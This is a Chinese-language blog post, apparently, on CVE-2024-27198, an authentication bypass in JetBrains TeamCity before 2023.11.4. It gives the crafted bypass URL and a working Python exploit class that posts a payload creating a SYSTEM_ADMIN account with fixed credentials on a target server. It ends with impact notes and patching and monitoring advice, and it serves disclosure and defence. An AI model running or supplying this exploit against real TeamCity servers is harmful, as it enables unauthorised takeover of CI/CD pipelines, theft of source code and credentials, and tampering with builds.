利用路径遍历漏洞绕过JetBrains TeamCity身份验证

本文详细披露了JetBrains TeamCity在2023.11.4版本前存在的一个关键认证绕过漏洞。攻击者通过向特定JSP端点发送精心构造的请求,即可绕过所有认证机制创建具有系统管理员权限的新用户,完全控制CI/CD服务器。

JetBrains TeamCity 2023.11.4 认证绕过漏洞利用

漏洞概述

JetBrains TeamCity 在2023.11.4之前的版本中存在一个关键的身份验证绕过漏洞(CVE-2024-27198)。该漏洞允许未经身份验证的攻击者执行管理操作,通过利用JSP处理机制中的路径遍历技术结合REST API端点来绕过身份验证。

技术细节

该漏洞的核心在于TeamCity服务器对特定格式的URL请求处理不当。攻击者可以通过访问以下格式的URL来绕过所有认证检查:

1
/idontexist?jsp=/app/rest/users;.jsp

当服务器接收到这种请求时,由于路径解析逻辑的缺陷,它不会对后续的REST API端点执行适当的身份验证检查。

利用脚本分析

以下是完整的Python漏洞利用脚本,演示了如何利用此漏洞创建具有系统管理员权限的新用户。

脚本头部信息

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Exploit Title: JetBrains TeamCity 2023.11.4 - Authentication Bypass
Date: 2024-02-21
Exploit Author: ibrahimsql (https://github.com/ibrahimsql)
Vendor Homepage: https://www.jetbrains.com/teamcity/
Version: < 2023.11.4
CVE: CVE-2024-27198
CVSS Score: 9.8 (Critical)
Description: JetBrains TeamCity before version 2023.11.4 contains a critical authentication bypass vulnerability that allows unauthenticated attackers to perform administrative actions.
Requirements: requests>=2.25.1
"""

主要攻击类

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
class TeamCityExploit:
    def __init__(self, target_url, timeout=15, verbose=False):
        self.target_url = target_url.rstrip('/')
        self.timeout = timeout
        self.verbose = verbose
        self.session = requests.Session()
    
    def exploit_authentication_bypass(self):
        # 构造恶意路径
        exploit_path = "/idontexist?jsp=/app/rest/users;.jsp"
        full_url = f"{self.target_url}{exploit_path}"
        
        # 请求头设置
        headers = {
            "Content-Type": "application/json",
            "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
            "Accept": "application/json, text/plain, */*"
        }
        
        # 恶意负载 - 创建管理员用户
        payload = {
            "username": "ibrahimsql",
            "password": "ibrahimsql",
            "email": "ibrahimsql@exploit.local",
            "roles": {
                "role": [{
                    "roleId": "SYSTEM_ADMIN",
                    "scope": "g"
                }]
            }
        }
        
        # 发送恶意请求
        response = self.session.post(full_url, headers=headers, verify=False, json=payload, timeout=self.timeout)
        
        if response.status_code == 200:
            print("[SUCCESS] Admin user created!")
            print(f"Username: ibrahimsql")
            print(f"Password: ibrahimsql")
            print(f"Login URL: {self.target_url}/login.html")
            return True

漏洞利用流程

  1. 目标验证:首先检查目标TeamCity服务器是否可达
  2. 构建攻击URL:使用特定的路径遍历格式构造恶意URL
  3. 发送恶意请求:向目标服务器发送包含管理员用户创建请求的POST请求
  4. 结果验证:根据服务器响应判断攻击是否成功

安全影响

此漏洞的CVSS评分为9.8分(严重级别),影响范围包括所有2023.11.4版本之前的JetBrains TeamCity实例。成功利用此漏洞的攻击者可以:

  1. 创建具有系统管理员权限的新用户
  2. 完全控制CI/CD流水线和构建过程
  3. 访问敏感源代码和凭据
  4. 篡改构建结果,注入恶意代码

修复建议

  1. 立即升级:将所有TeamCity实例升级到2023.11.4或更高版本
  2. 网络隔离:限制对TeamCity服务器的网络访问,仅允许可信IP访问
  3. 监控审计:加强对用户创建和管理活动的日志监控
  4. 定期更新:建立定期的安全更新机制,及时应用补丁

总结

CVE-2024-27198是一个严重的安全漏洞,凸显了在复杂应用程序中路径处理和身份验证逻辑可能存在的缺陷。开发和安全团队必须保持软件更新,并实施深度防御策略来保护关键的CI/CD基础设施。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计